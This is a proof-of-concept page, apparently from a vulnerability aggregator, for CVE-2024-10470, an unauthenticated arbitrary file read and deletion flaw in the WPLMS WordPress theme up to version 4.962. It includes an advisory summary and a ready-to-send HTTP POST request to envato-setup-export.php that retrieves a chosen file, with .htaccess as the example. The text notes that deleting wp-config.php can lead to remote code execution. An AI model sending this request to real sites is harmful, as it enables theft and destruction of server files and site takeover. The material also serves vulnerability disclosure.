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CVE-2024-10470 PoC — WordPress plugin WPLMS Learning Management System 路径遍历漏洞

Source
Associated Vulnerability
Title:WordPress plugin WPLMS Learning Management System 路径遍历漏洞 (CVE-2024-10470)
Description:WordPress和WordPress plugin都是WordPress基金会的产品。WordPress是一套使用PHP语言开发的博客平台。该平台支持在PHP和MySQL的服务器上架设个人博客网站。WordPress plugin是一个应用插件。 WordPress plugin WPLMS Learning Management System 4.962版本及之前版本存在路径遍历漏洞,该漏洞源于对readfile 和 unlink 函数中的文件路径验证和权限检查不足。攻击者利用该漏洞可以删除服务器上的
Readme
# CVE-2024-10470
WPLMS Learning Management System for WordPress <= 4.962 – Unauthenticated Arbitrary File Read and Deletion

# Description

The WPLMS Learning Management System for WordPress, WordPress LMS theme for WordPress is vulnerable to arbitrary file read and deletion due to insufficient file path validation and permissions checks in the readfile and unlink functions in all versions up to, and including, 4.962. This makes it possible for unauthenticated attackers to delete arbitrary files on the server, which can easily lead to remote code execution when the right file is deleted (such as wp-config.php). The theme is vulnerable even when it is not activated.


```
Affected Theme: WPLMS Learning Management System for WordPress
Theme Slug: wplms
Affected Versions: <= 4.962
CVE ID: CVE-2024-10470
CVSS Score: 9.8 (Critical)
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Researcher/s: Foxyyy
Fully Patched Version: 4.963
```

POC
---

```
POST /wp-content/themes/wplms/setup/installer/envato-setup-export.php HTTP/1.1
Host: kubernetes.docker.internal
Content-Type: application/x-www-form-urlencoded
Content-Length: 29

download_export_zip=1&zip_file=.htaccess
```
File Snapshot

[4.0K] /data/pocs/b4f1bc38ef82e28877da72a5ab511d987b0241fc └── [1.2K] README.md 0 directories, 1 file
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